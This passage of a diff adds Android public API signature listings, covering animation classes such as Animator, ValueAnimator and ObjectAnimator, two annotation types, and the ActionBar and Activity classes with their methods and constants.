+    method public java.util.ArrayList<android.animation.Animator.AnimatorListener> getListeners();
+    method public abstract long getStartDelay();
+    method public long getTotalDuration();
+    method public boolean isPaused();
+    method public abstract boolean isRunning();
+    method public boolean isStarted();
+    method public void pause();
+    method public void removeAllListeners();
+    method public void removeListener(android.animation.Animator.AnimatorListener);
+    method public void removePauseListener(android.animation.Animator.AnimatorPauseListener);
+    method public void resume();
+    method public abstract android.animation.Animator setDuration(long);
+    method public abstract void setInterpolator(android.animation.TimeInterpolator);
+    method public abstract void setStartDelay(long);
+    method public void setTarget(@Nullable Object);
+    method public void setupEndValues();
+    method public void setupStartValues();
+    method public void start();
+    field public static final long DURATION_INFINITE = -1L; // 0xffffffffffffffffL
+  }
+
+  public static interface Animator.AnimatorListener {
+    method public void onAnimationCancel(android.animation.Animator);
+    method public default void onAnimationEnd(android.animation.Animator, boolean);
+    method public void onAnimationEnd(android.animation.Animator);
+    method public void onAnimationRepeat(android.animation.Animator);
+    method public default void onAnimationStart(android.animation.Animator, boolean);
+    method public void onAnimationStart(android.animation.Animator);
+  }
+
+  public static interface Animator.AnimatorPauseListener {
+    method public void onAnimationPause(android.animation.Animator);
+    method public void onAnimationResume(android.animation.Animator);
+  }
+
+  public class AnimatorInflater {
+    ctor public AnimatorInflater();
+    method public static android.animation.Animator loadAnimator(android.content.Context, @AnimatorRes int) throws android.content.res.Resources.NotFoundException;
+    method public static android.animation.StateListAnimator loadStateListAnimator(android.content.Context, int) throws android.content.res.Resources.NotFoundException;
+  }
+
+  public abstract class AnimatorListenerAdapter implements android.animation.Animator.AnimatorListener android.animation.Animator.AnimatorPauseListener {
+    ctor public AnimatorListenerAdapter();
+    method public void onAnimationCancel(android.animation.Animator);
+    method public void onAnimationEnd(android.animation.Animator);
+    method public void onAnimationPause(android.animation.Animator);
+    method public void onAnimationRepeat(android.animation.Animator);
+    method public void onAnimationResume(android.animation.Animator);
+    method public void onAnimationStart(android.animation.Animator);
+  }
+
+  public final class AnimatorSet extends android.animation.Animator {
+    ctor public AnimatorSet();
+    method public android.animation.AnimatorSet clone();
+    method public java.util.ArrayList<android.animation.Animator> getChildAnimations();
+    method public long getCurrentPlayTime();
+    method public long getDuration();
+    method public long getStartDelay();
+    method public boolean isRunning();
+    method public android.animation.AnimatorSet.Builder play(android.animation.Animator);
+    method public void playSequentially(android.animation.Animator...);
+    method public void playSequentially(java.util.List<android.animation.Animator>);
+    method public void playTogether(android.animation.Animator...);
+    method public void playTogether(java.util.Collection<android.animation.Animator>);
+    method public void reverse();
+    method public void setCurrentPlayTime(long);
+    method public android.animation.AnimatorSet setDuration(long);
+    method public void setInterpolator(android.animation.TimeInterpolator);
+    method public void setStartDelay(long);
+  }
+
+  public class AnimatorSet.Builder {
+    method public android.animation.AnimatorSet.Builder after(android.animation.Animator);
+    method public android.animation.AnimatorSet.Builder after(long);
+    method public android.animation.AnimatorSet.Builder before(android.animation.Animator);
+    method public android.animation.AnimatorSet.Builder with(android.animation.Animator);
+  }
+
+  public class ArgbEvaluator implements android.animation.TypeEvaluator {
+    ctor public ArgbEvaluator();
+    method public Object evaluate(float, Object, Object);
+  }
+
+  public abstract class BidirectionalTypeConverter<T, V> extends android.animation.TypeConverter<T,V> {
+    ctor public BidirectionalTypeConverter(Class<T>, Class<V>);
+    method public abstract T convertBack(V);
+    method public android.animation.BidirectionalTypeConverter<V,T> invert();
+  }
+
+  public class FloatArrayEvaluator implements android.animation.TypeEvaluator<float[]> {
+    ctor public FloatArrayEvaluator();
+    ctor public FloatArrayEvaluator(float[]);
+    method public float[] evaluate(float, float[], float[]);
+  }
+
+  public class FloatEvaluator implements android.animation.TypeEvaluator<java.lang.Number> {
+    ctor public FloatEvaluator();
+    method public Float evaluate(float, Number, Number);
+  }
+
+  public class IntArrayEvaluator implements android.animation.TypeEvaluator<int[]> {
+    ctor public IntArrayEvaluator();
+    ctor public IntArrayEvaluator(int[]);
+    method public int[] evaluate(float, int[], int[]);
+  }
+
+  public class IntEvaluator implements android.animation.TypeEvaluator<java.lang.Integer> {
+    ctor public IntEvaluator();
+    method public Integer evaluate(float, Integer, Integer);
+  }
+
+  public abstract class Keyframe implements java.lang.Cloneable {
+    ctor public Keyframe();
+    method public abstract android.animation.Keyframe clone();
+    method public float getFraction();
+    method public android.animation.TimeInterpolator getInterpolator();
+    method public Class getType();
+    method public abstract Object getValue();
+    method public boolean hasValue();
+    method public static android.animation.Keyframe ofFloat(float, float);
+    method public static android.animation.Keyframe ofFloat(float);
+    method public static android.animation.Keyframe ofInt(float, int);
+    method public static android.animation.Keyframe ofInt(float);
+    method public static android.animation.Keyframe ofObject(float, Object);
+    method public static android.animation.Keyframe ofObject(float);
+    method public void setFraction(float);
+    method public void setInterpolator(android.animation.TimeInterpolator);
+    method public abstract void setValue(Object);
+  }
+
+  public class LayoutTransition {
+    ctor public LayoutTransition();
+    method public void addChild(android.view.ViewGroup, android.view.View);
+    method public void addTransitionListener(android.animation.LayoutTransition.TransitionListener);
+    method public void disableTransitionType(int);
+    method public void enableTransitionType(int);
+    method public android.animation.Animator getAnimator(int);
+    method public long getDuration(int);
+    method public android.animation.TimeInterpolator getInterpolator(int);
+    method public long getStagger(int);
+    method public long getStartDelay(int);
+    method public java.util.List<android.animation.LayoutTransition.TransitionListener> getTransitionListeners();
+    method @Deprecated public void hideChild(android.view.ViewGroup, android.view.View);
+    method public void hideChild(android.view.ViewGroup, android.view.View, int);
+    method public boolean isChangingLayout();
+    method public boolean isRunning();
+    method public boolean isTransitionTypeEnabled(int);
+    method public void removeChild(android.view.ViewGroup, android.view.View);
+    method public void removeTransitionListener(android.animation.LayoutTransition.TransitionListener);
+    method public void setAnimateParentHierarchy(boolean);
+    method public void setAnimator(int, android.animation.Animator);
+    method public void setDuration(long);
+    method public void setDuration(int, long);
+    method public void setInterpolator(int, android.animation.TimeInterpolator);
+    method public void setStagger(int, long);
+    method public void setStartDelay(int, long);
+    method @Deprecated public void showChild(android.view.ViewGroup, android.view.View);
+    method public void showChild(android.view.ViewGroup, android.view.View, int);
+    field public static final int APPEARING = 2; // 0x2
+    field public static final int CHANGE_APPEARING = 0; // 0x0
+    field public static final int CHANGE_DISAPPEARING = 1; // 0x1
+    field public static final int CHANGING = 4; // 0x4
+    field public static final int DISAPPEARING = 3; // 0x3
+  }
+
+  public static interface LayoutTransition.TransitionListener {
+    method public void endTransition(android.animation.LayoutTransition, android.view.ViewGroup, android.view.View, int);
+    method public void startTransition(android.animation.LayoutTransition, android.view.ViewGroup, android.view.View, int);
+  }
+
+  public final class ObjectAnimator extends android.animation.ValueAnimator {
+    ctor public ObjectAnimator();
+    method public android.animation.ObjectAnimator clone();
+    method @Nullable public String getPropertyName();
+    method @Nullable public Object getTarget();
+    method public static android.animation.ObjectAnimator ofArgb(Object, String, int...);
+    method public static <T> android.animation.ObjectAnimator ofArgb(T, android.util.Property<T,java.lang.Integer>, int...);
+    method public static android.animation.ObjectAnimator ofFloat(Object, String, float...);
+    method public static android.animation.ObjectAnimator ofFloat(Object, String, String, android.graphics.Path);
+    method public static <T> android.animation.ObjectAnimator ofFloat(T, android.util.Property<T,java.lang.Float>, float...);
+    method public static <T> android.animation.ObjectAnimator ofFloat(T, android.util.Property<T,java.lang.Float>, android.util.Property<T,java.lang.Float>, android.graphics.Path);
+    method public static android.animation.ObjectAnimator ofInt(Object, String, int...);
+    method public static android.animation.ObjectAnimator ofInt(Object, String, String, android.graphics.Path);
+    method public static <T> android.animation.ObjectAnimator ofInt(T, android.util.Property<T,java.lang.Integer>, int...);
+    method public static <T> android.animation.ObjectAnimator ofInt(T, android.util.Property<T,java.lang.Integer>, android.util.Property<T,java.lang.Integer>, android.graphics.Path);
+    method public static android.animation.ObjectAnimator ofMultiFloat(Object, String, float[][]);
+    method public static android.animation.ObjectAnimator ofMultiFloat(Object, String, android.graphics.Path);
+    method @java.lang.SafeVarargs public static <T> android.animation.ObjectAnimator ofMultiFloat(Object, String, android.animation.TypeConverter<T,float[]>, android.animation.TypeEvaluator<T>, T...);
+    method public static android.animation.ObjectAnimator ofMultiInt(Object, String, int[][]);
+    method public static android.animation.ObjectAnimator ofMultiInt(Object, String, android.graphics.Path);
+    method @java.lang.SafeVarargs public static <T> android.animation.ObjectAnimator ofMultiInt(Object, String, android.animation.TypeConverter<T,int[]>, android.animation.TypeEvaluator<T>, T...);
+    method public static android.animation.ObjectAnimator ofObject(Object, String, android.animation.TypeEvaluator, java.lang.Object...);
+    method @NonNull public static android.animation.ObjectAnimator ofObject(Object, String, @Nullable android.animation.TypeConverter<android.graphics.PointF,?>, android.graphics.Path);
+    method @NonNull @java.lang.SafeVarargs public static <T, V> android.animation.ObjectAnimator ofObject(T, android.util.Property<T,V>, android.animation.TypeEvaluator<V>, V...);
+    method @NonNull @java.lang.SafeVarargs public static <T, V, P> android.animation.ObjectAnimator ofObject(T, android.util.Property<T,P>, android.animation.TypeConverter<V,P>, android.animation.TypeEvaluator<V>, V...);
+    method @NonNull public static <T, V> android.animation.ObjectAnimator ofObject(T, @NonNull android.util.Property<T,V>, @Nullable android.animation.TypeConverter<android.graphics.PointF,V>, android.graphics.Path);
+    method @NonNull public static android.animation.ObjectAnimator ofPropertyValuesHolder(Object, android.animation.PropertyValuesHolder...);
+    method public void setAutoCancel(boolean);
+    method @NonNull public android.animation.ObjectAnimator setDuration(long);
+    method public void setProperty(@NonNull android.util.Property);
+    method public void setPropertyName(@NonNull String);
+  }
+
+  public class PointFEvaluator implements android.animation.TypeEvaluator<android.graphics.PointF> {
+    ctor public PointFEvaluator();
+    ctor public PointFEvaluator(android.graphics.PointF);
+    method public android.graphics.PointF evaluate(float, android.graphics.PointF, android.graphics.PointF);
+  }
+
+  public class PropertyValuesHolder implements java.lang.Cloneable {
+    method public android.animation.PropertyValuesHolder clone();
+    method public String getPropertyName();
+    method public static android.animation.PropertyValuesHolder ofFloat(String, float...);
+    method public static android.animation.PropertyValuesHolder ofFloat(android.util.Property<?,java.lang.Float>, float...);
+    method public static android.animation.PropertyValuesHolder ofInt(String, int...);
+    method public static android.animation.PropertyValuesHolder ofInt(android.util.Property<?,java.lang.Integer>, int...);
+    method public static android.animation.PropertyValuesHolder ofKeyframe(String, android.animation.Keyframe...);
+    method public static android.animation.PropertyValuesHolder ofKeyframe(android.util.Property, android.animation.Keyframe...);
+    method public static android.animation.PropertyValuesHolder ofMultiFloat(String, float[][]);
+    method public static android.animation.PropertyValuesHolder ofMultiFloat(String, android.graphics.Path);
+    method @java.lang.SafeVarargs public static <V> android.animation.PropertyValuesHolder ofMultiFloat(String, android.animation.TypeConverter<V,float[]>, android.animation.TypeEvaluator<V>, V...);
+    method public static <T> android.animation.PropertyValuesHolder ofMultiFloat(String, android.animation.TypeConverter<T,float[]>, android.animation.TypeEvaluator<T>, android.animation.Keyframe...);
+    method public static android.animation.PropertyValuesHolder ofMultiInt(String, int[][]);
+    method public static android.animation.PropertyValuesHolder ofMultiInt(String, android.graphics.Path);
+    method @java.lang.SafeVarargs public static <V> android.animation.PropertyValuesHolder ofMultiInt(String, android.animation.TypeConverter<V,int[]>, android.animation.TypeEvaluator<V>, V...);
+    method public static <T> android.animation.PropertyValuesHolder ofMultiInt(String, android.animation.TypeConverter<T,int[]>, android.animation.TypeEvaluator<T>, android.animation.Keyframe...);
+    method public static android.animation.PropertyValuesHolder ofObject(String, android.animation.TypeEvaluator, java.lang.Object...);
+    method public static android.animation.PropertyValuesHolder ofObject(String, android.animation.TypeConverter<android.graphics.PointF,?>, android.graphics.Path);
+    method @java.lang.SafeVarargs public static <V> android.animation.PropertyValuesHolder ofObject(android.util.Property, android.animation.TypeEvaluator<V>, V...);
+    method @java.lang.SafeVarargs public static <T, V> android.animation.PropertyValuesHolder ofObject(android.util.Property<?,V>, android.animation.TypeConverter<T,V>, android.animation.TypeEvaluator<T>, T...);
+    method public static <V> android.animation.PropertyValuesHolder ofObject(android.util.Property<?,V>, android.animation.TypeConverter<android.graphics.PointF,V>, android.graphics.Path);
+    method public void setConverter(android.animation.TypeConverter);
+    method public void setEvaluator(android.animation.TypeEvaluator);
+    method public void setFloatValues(float...);
+    method public void setIntValues(int...);
+    method public void setKeyframes(android.animation.Keyframe...);
+    method public void setObjectValues(java.lang.Object...);
+    method public void setProperty(android.util.Property);
+    method public void setPropertyName(String);
+  }
+
+  public class RectEvaluator implements android.animation.TypeEvaluator<android.graphics.Rect> {
+    ctor public RectEvaluator();
+    ctor public RectEvaluator(android.graphics.Rect);
+    method public android.graphics.Rect evaluate(float, android.graphics.Rect, android.graphics.Rect);
+  }
+
+  public class StateListAnimator implements java.lang.Cloneable {
+    ctor public StateListAnimator();
+    method public void addState(int[], android.animation.Animator);
+    method public android.animation.StateListAnimator clone();
+    method public void jumpToCurrentState();
+  }
+
+  public class TimeAnimator extends android.animation.ValueAnimator {
+    ctor public TimeAnimator();
+    method public void setTimeListener(android.animation.TimeAnimator.TimeListener);
+  }
+
+  public static interface TimeAnimator.TimeListener {
+    method public void onTimeUpdate(android.animation.TimeAnimator, long, long);
+  }
+
+  public interface TimeInterpolator {
+    method public float getInterpolation(float);
+  }
+
+  public abstract class TypeConverter<T, V> {
+    ctor public TypeConverter(Class<T>, Class<V>);
+    method public abstract V convert(T);
+  }
+
+  public interface TypeEvaluator<T> {
+    method public T evaluate(float, T, T);
+  }
+
+  public class ValueAnimator extends android.animation.Animator {
+    ctor public ValueAnimator();
+    method public void addUpdateListener(android.animation.ValueAnimator.AnimatorUpdateListener);
+    method public static boolean areAnimatorsEnabled();
+    method public android.animation.ValueAnimator clone();
+    method public float getAnimatedFraction();
+    method public Object getAnimatedValue();
+    method public Object getAnimatedValue(String);
+    method public long getCurrentPlayTime();
+    method public long getDuration();
+    method public static long getFrameDelay();
+    method public int getRepeatCount();
+    method public int getRepeatMode();
+    method public long getStartDelay();
+    method public android.animation.PropertyValuesHolder[] getValues();
+    method public boolean isRunning();
+    method public static android.animation.ValueAnimator ofArgb(int...);
+    method public static android.animation.ValueAnimator ofFloat(float...);
+    method public static android.animation.ValueAnimator ofInt(int...);
+    method public static android.animation.ValueAnimator ofObject(android.animation.TypeEvaluator, java.lang.Object...);
+    method public static android.animation.ValueAnimator ofPropertyValuesHolder(android.animation.PropertyValuesHolder...);
+    method public void removeAllUpdateListeners();
+    method public void removeUpdateListener(android.animation.ValueAnimator.AnimatorUpdateListener);
+    method public void reverse();
+    method public void setCurrentFraction(float);
+    method public void setCurrentPlayTime(long);
+    method public android.animation.ValueAnimator setDuration(long);
+    method public void setEvaluator(android.animation.TypeEvaluator);
+    method public void setFloatValues(float...);
+    method public static void setFrameDelay(long);
+    method public void setIntValues(int...);
+    method public void setInterpolator(android.animation.TimeInterpolator);
+    method public void setObjectValues(java.lang.Object...);
+    method public void setRepeatCount(int);
+    method public void setRepeatMode(int);
+    method public void setStartDelay(long);
+    method public void setValues(android.animation.PropertyValuesHolder...);
+    field public static final int INFINITE = -1; // 0xffffffff
+    field public static final int RESTART = 1; // 0x1
+    field public static final int REVERSE = 2; // 0x2
+  }
+
+  public static interface ValueAnimator.AnimatorUpdateListener {
+    method public void onAnimationUpdate(android.animation.ValueAnimator);
+  }
+
+}
+
+package android.annotation {
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.CLASS) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE, java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.PARAMETER, java.lang.annotation.ElementType.CONSTRUCTOR, java.lang.annotation.ElementType.LOCAL_VARIABLE}) public @interface SuppressLint {
+    method public abstract String[] value();
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.CLASS) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE, java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.CONSTRUCTOR, java.lang.annotation.ElementType.FIELD}) public @interface TargetApi {
+    method public abstract int value();
+  }
+
+}
+
+package android.app {
+
+  public abstract class ActionBar {
+    ctor public ActionBar();
+    method public abstract void addOnMenuVisibilityListener(android.app.ActionBar.OnMenuVisibilityListener);
+    method @Deprecated public abstract void addTab(android.app.ActionBar.Tab);
+    method @Deprecated public abstract void addTab(android.app.ActionBar.Tab, boolean);
+    method @Deprecated public abstract void addTab(android.app.ActionBar.Tab, int);
+    method @Deprecated public abstract void addTab(android.app.ActionBar.Tab, int, boolean);
+    method public abstract android.view.View getCustomView();
+    method public abstract int getDisplayOptions();
+    method public float getElevation();
+    method public abstract int getHeight();
+    method public int getHideOffset();
+    method @Deprecated public abstract int getNavigationItemCount();
+    method @Deprecated public abstract int getNavigationMode();
+    method @Deprecated public abstract int getSelectedNavigationIndex();
+    method @Deprecated public abstract android.app.ActionBar.Tab getSelectedTab();
+    method public abstract CharSequence getSubtitle();
+    method @Deprecated public abstract android.app.ActionBar.Tab getTabAt(int);
+    method @Deprecated public abstract int getTabCount();
+    method public android.content.Context getThemedContext();
+    method public abstract CharSequence getTitle();
+    method public abstract void hide();
+    method public boolean isHideOnContentScrollEnabled();
+    method public abstract boolean isShowing();
+    method @Deprecated public abstract android.app.ActionBar.Tab newTab();
+    method @Deprecated public abstract void removeAllTabs();
+    method public abstract void removeOnMenuVisibilityListener(android.app.ActionBar.OnMenuVisibilityListener);
+    method @Deprecated public abstract void removeTab(android.app.ActionBar.Tab);
+    method @Deprecated public abstract void removeTabAt(int);
+    method @Deprecated public abstract void selectTab(android.app.ActionBar.Tab);
+    method public abstract void setBackgroundDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public abstract void setCustomView(android.view.View);
+    method public abstract void setCustomView(android.view.View, android.app.ActionBar.LayoutParams);
+    method public abstract void setCustomView(@LayoutRes int);
+    method public abstract void setDisplayHomeAsUpEnabled(boolean);
+    method public abstract void setDisplayOptions(int);
+    method public abstract void setDisplayOptions(int, int);
+    method public abstract void setDisplayShowCustomEnabled(boolean);
+    method public abstract void setDisplayShowHomeEnabled(boolean);
+    method public abstract void setDisplayShowTitleEnabled(boolean);
+    method public abstract void setDisplayUseLogoEnabled(boolean);
+    method public void setElevation(float);
+    method public void setHideOffset(int);
+    method public void setHideOnContentScrollEnabled(boolean);
+    method public void setHomeActionContentDescription(CharSequence);
+    method public void setHomeActionContentDescription(@StringRes int);
+    method public void setHomeAsUpIndicator(android.graphics.drawable.Drawable);
+    method public void setHomeAsUpIndicator(@DrawableRes int);
+    method public void setHomeButtonEnabled(boolean);
+    method public abstract void setIcon(@DrawableRes int);
+    method public abstract void setIcon(android.graphics.drawable.Drawable);
+    method @Deprecated public abstract void setListNavigationCallbacks(android.widget.SpinnerAdapter, android.app.ActionBar.OnNavigationListener);
+    method public abstract void setLogo(@DrawableRes int);
+    method public abstract void setLogo(android.graphics.drawable.Drawable);
+    method @Deprecated public abstract void setNavigationMode(int);
+    method @Deprecated public abstract void setSelectedNavigationItem(int);
+    method public void setSplitBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setStackedBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public abstract void setSubtitle(CharSequence);
+    method public abstract void setSubtitle(@StringRes int);
+    method public abstract void setTitle(CharSequence);
+    method public abstract void setTitle(@StringRes int);
+    method public abstract void show();
+    field public static final int DISPLAY_HOME_AS_UP = 4; // 0x4
+    field public static final int DISPLAY_SHOW_CUSTOM = 16; // 0x10
+    field public static final int DISPLAY_SHOW_HOME = 2; // 0x2
+    field public static final int DISPLAY_SHOW_TITLE = 8; // 0x8
+    field public static final int DISPLAY_USE_LOGO = 1; // 0x1
+    field @Deprecated public static final int NAVIGATION_MODE_LIST = 1; // 0x1
+    field @Deprecated public static final int NAVIGATION_MODE_STANDARD = 0; // 0x0
+    field @Deprecated public static final int NAVIGATION_MODE_TABS = 2; // 0x2
+  }
+
+  public static class ActionBar.LayoutParams extends android.view.ViewGroup.MarginLayoutParams {
+    ctor public ActionBar.LayoutParams(@NonNull android.content.Context, android.util.AttributeSet);
+    ctor public ActionBar.LayoutParams(int, int);
+    ctor public ActionBar.LayoutParams(int, int, int);
+    ctor public ActionBar.LayoutParams(int);
+    ctor public ActionBar.LayoutParams(android.app.ActionBar.LayoutParams);
+    ctor public ActionBar.LayoutParams(android.view.ViewGroup.LayoutParams);
+    field public int gravity;
+  }
+
+  public static interface ActionBar.OnMenuVisibilityListener {
+    method public void onMenuVisibilityChanged(boolean);
+  }
+
+  @Deprecated public static interface ActionBar.OnNavigationListener {
+    method @Deprecated public boolean onNavigationItemSelected(int, long);
+  }
+
+  @Deprecated public abstract static class ActionBar.Tab {
+    ctor @Deprecated public ActionBar.Tab();
+    method @Deprecated public abstract CharSequence getContentDescription();
+    method @Deprecated public abstract android.view.View getCustomView();
+    method @Deprecated public abstract android.graphics.drawable.Drawable getIcon();
+    method @Deprecated public abstract int getPosition();
+    method @Deprecated public abstract Object getTag();
+    method @Deprecated public abstract CharSequence getText();
+    method @Deprecated public abstract void select();
+    method @Deprecated public abstract android.app.ActionBar.Tab setContentDescription(@StringRes int);
+    method @Deprecated public abstract android.app.ActionBar.Tab setContentDescription(CharSequence);
+    method @Deprecated public abstract android.app.ActionBar.Tab setCustomView(android.view.View);
+    method @Deprecated public abstract android.app.ActionBar.Tab setCustomView(@LayoutRes int);
+    method @Deprecated public abstract android.app.ActionBar.Tab setIcon(android.graphics.drawable.Drawable);
+    method @Deprecated public abstract android.app.ActionBar.Tab setIcon(@DrawableRes int);
+    method @Deprecated public abstract android.app.ActionBar.Tab setTabListener(android.app.ActionBar.TabListener);
+    method @Deprecated public abstract android.app.ActionBar.Tab setTag(Object);
+    method @Deprecated public abstract android.app.ActionBar.Tab setText(CharSequence);
+    method @Deprecated public abstract android.app.ActionBar.Tab setText(@StringRes int);
+    field @Deprecated public static final int INVALID_POSITION = -1; // 0xffffffff
+  }
+
+  @Deprecated public static interface ActionBar.TabListener {
+    method @Deprecated public void onTabReselected(android.app.ActionBar.Tab, android.app.FragmentTransaction);
+    method @Deprecated public void onTabSelected(android.app.ActionBar.Tab, android.app.FragmentTransaction);
+    method @Deprecated public void onTabUnselected(android.app.ActionBar.Tab, android.app.FragmentTransaction);
+  }
+
+  @UiContext public class Activity extends android.view.ContextThemeWrapper implements android.content.ComponentCallbacks2 android.view.KeyEvent.Callback android.view.LayoutInflater.Factory2 android.view.View.OnCreateContextMenuListener android.view.Window.Callback {
+    ctor public Activity();
+    method public void addContentView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public void closeContextMenu();
+    method public void closeOptionsMenu();
+    method public android.app.PendingIntent createPendingResult(int, @NonNull android.content.Intent, int);
+    method @Deprecated public final void dismissDialog(int);
+    method public final void dismissKeyboardShortcutsHelper();
+    method public boolean dispatchGenericMotionEvent(android.view.MotionEvent);
+    method public boolean dispatchKeyEvent(android.view.KeyEvent);
+    method public boolean dispatchKeyShortcutEvent(android.view.KeyEvent);
+    method public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method public boolean dispatchTouchEvent(android.view.MotionEvent);
+    method public boolean dispatchTrackballEvent(android.view.MotionEvent);
+    method public void dump(@NonNull String, @Nullable java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[]);
+    method @Deprecated public void enterPictureInPictureMode();
+    method public boolean enterPictureInPictureMode(@NonNull android.app.PictureInPictureParams);
+    method public void finish();
+    method public void finishActivity(int);
+    method @Deprecated public void finishActivityFromChild(@NonNull android.app.Activity, int);
+    method public void finishAffinity();
+    method public void finishAfterTransition();
+    method public void finishAndRemoveTask();
+    method @Deprecated public void finishFromChild(android.app.Activity);
+    method @Nullable public android.app.ActionBar getActionBar();
+    method public final android.app.Application getApplication();
+    method @Nullable public android.content.ComponentName getCallingActivity();
+    method @Nullable public String getCallingPackage();
+    method public int getChangingConfigurations();
+    method public android.content.ComponentName getComponentName();
+    method public android.transition.Scene getContentScene();
+    method public android.transition.TransitionManager getContentTransitionManager();
+    method @Nullable public android.view.View getCurrentFocus();
+    method @Deprecated public android.app.FragmentManager getFragmentManager();
+    method public android.content.Intent getIntent();
+    method @Nullable public Object getLastNonConfigurationInstance();
+    method @NonNull public android.view.LayoutInflater getLayoutInflater();
+    method @Deprecated public android.app.LoaderManager getLoaderManager();
+    method @NonNull public String getLocalClassName();
+    method public int getMaxNumPictureInPictureActions();
+    method public final android.media.session.MediaController getMediaController();
+    method @NonNull public android.view.MenuInflater getMenuInflater();
+    method public final android.app.Activity getParent();
+    method @Nullable public android.content.Intent getParentActivityIntent();
+    method public android.content.SharedPreferences getPreferences(int);
+    method @Nullable public android.net.Uri getReferrer();
+    method public int getRequestedOrientation();
+    method public final android.view.SearchEvent getSearchEvent();
+    method @NonNull public final android.window.SplashScreen getSplashScreen();
+    method public int getTaskId();
+    method public final CharSequence getTitle();
+    method public final int getTitleColor();
+    method public android.app.VoiceInteractor getVoiceInteractor();
+    method public final int getVolumeControlStream();
+    method public android.view.Window getWindow();
+    method public android.view.WindowManager getWindowManager();
+    method public boolean hasWindowFocus();
+    method public void invalidateOptionsMenu();
+    method public boolean isActivityTransitionRunning();
+    method public boolean isChangingConfigurations();
+    method public final boolean isChild();
+    method public boolean isDestroyed();
+    method public boolean isFinishing();
+    method public boolean isImmersive();
+    method public boolean isInMultiWindowMode();
+    method public boolean isInPictureInPictureMode();
+    method public boolean isLaunchedFromBubble();
+    method public boolean isLocalVoiceInteractionSupported();
+    method public boolean isTaskRoot();
+    method public boolean isVoiceInteraction();
+    method public boolean isVoiceInteractionRoot();
+    method @Deprecated public final android.database.Cursor managedQuery(android.net.Uri, String[], String, String[], String);
+    method public boolean moveTaskToBack(boolean);
+    method public boolean navigateUpTo(android.content.Intent);
+    method @Deprecated public boolean navigateUpToFromChild(android.app.Activity, android.content.Intent);
+    method @CallSuper public void onActionModeFinished(android.view.ActionMode);
+    method @CallSuper public void onActionModeStarted(android.view.ActionMode);
+    method public void onActivityReenter(int, android.content.Intent);
+    method protected void onActivityResult(int, int, android.content.Intent);
+    method @Deprecated public void onAttachFragment(android.app.Fragment);
+    method public void onAttachedToWindow();
+    method public void onBackPressed();
+    method protected void onChildTitleChanged(android.app.Activity, CharSequence);
+    method public void onConfigurationChanged(@NonNull android.content.res.Configuration);
+    method public void onContentChanged();
+    method public boolean onContextItemSelected(@NonNull android.view.MenuItem);
+    method public void onContextMenuClosed(@NonNull android.view.Menu);
+    method @CallSuper @MainThread protected void onCreate(@Nullable android.os.Bundle);
+    method public void onCreate(@Nullable android.os.Bundle, @Nullable android.os.PersistableBundle);
+    method public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo);
+    method @Nullable public CharSequence onCreateDescription();
+    method @Deprecated protected android.app.Dialog onCreateDialog(int);
+    method @Deprecated @Nullable protected android.app.Dialog onCreateDialog(int, android.os.Bundle);
+    method public void onCreateNavigateUpTaskStack(android.app.TaskStackBuilder);
+    method public boolean onCreateOptionsMenu(android.view.Menu);
+    method public boolean onCreatePanelMenu(int, @NonNull android.view.Menu);
+    method @Nullable public android.view.View onCreatePanelView(int);
+    method @Deprecated public boolean onCreateThumbnail(android.graphics.Bitmap, android.graphics.Canvas);
+    method @Nullable public android.view.View onCreateView(@NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet);
+    method @Nullable public android.view.View onCreateView(@Nullable android.view.View, @NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet);
+    method @CallSuper protected void onDestroy();
+    method public void onDetachedFromWindow();
+    method public void onEnterAnimationComplete();
+    method public boolean onGenericMotionEvent(android.view.MotionEvent);
+    method public void onGetDirectActions(@NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<java.util.List<android.app.DirectAction>>);
+    method public boolean onKeyDown(int, android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, android.view.KeyEvent);
+    method public boolean onKeyShortcut(int, android.view.KeyEvent);
+    method public boolean onKeyUp(int, android.view.KeyEvent);
+    method public void onLocalVoiceInteractionStarted();
+    method public void onLocalVoiceInteractionStopped();
+    method public void onLowMemory();
+    method public boolean onMenuItemSelected(int, @NonNull android.view.MenuItem);
+    method public boolean onMenuOpened(int, @NonNull android.view.Menu);
+    method public void onMultiWindowModeChanged(boolean, android.content.res.Configuration);
+    method @Deprecated public void onMultiWindowModeChanged(boolean);
+    method public boolean onNavigateUp();
+    method @Deprecated public boolean onNavigateUpFromChild(android.app.Activity);
+    method protected void onNewIntent(android.content.Intent);
+    method public boolean onOptionsItemSelected(@NonNull android.view.MenuItem);
+    method public void onOptionsMenuClosed(android.view.Menu);
+    method public void onPanelClosed(int, @NonNull android.view.Menu);
+    method @CallSuper protected void onPause();
+    method public void onPerformDirectAction(@NonNull String, @NonNull android.os.Bundle, @NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<android.os.Bundle>);
+    method public void onPictureInPictureModeChanged(boolean, android.content.res.Configuration);
+    method @Deprecated public void onPictureInPictureModeChanged(boolean);
+    method public boolean onPictureInPictureRequested();
+    method public void onPictureInPictureUiStateChanged(@NonNull android.app.PictureInPictureUiState);
+    method @CallSuper protected void onPostCreate(@Nullable android.os.Bundle);
+    method public void onPostCreate(@Nullable android.os.Bundle, @Nullable android.os.PersistableBundle);
+    method @CallSuper protected void onPostResume();
+    method @Deprecated protected void onPrepareDialog(int, android.app.Dialog);
+    method @Deprecated protected void onPrepareDialog(int, android.app.Dialog, android.os.Bundle);
+    method public void onPrepareNavigateUpTaskStack(android.app.TaskStackBuilder);
+    method public boolean onPrepareOptionsMenu(android.view.Menu);
+    method public boolean onPreparePanel(int, @Nullable android.view.View, @NonNull android.view.Menu);
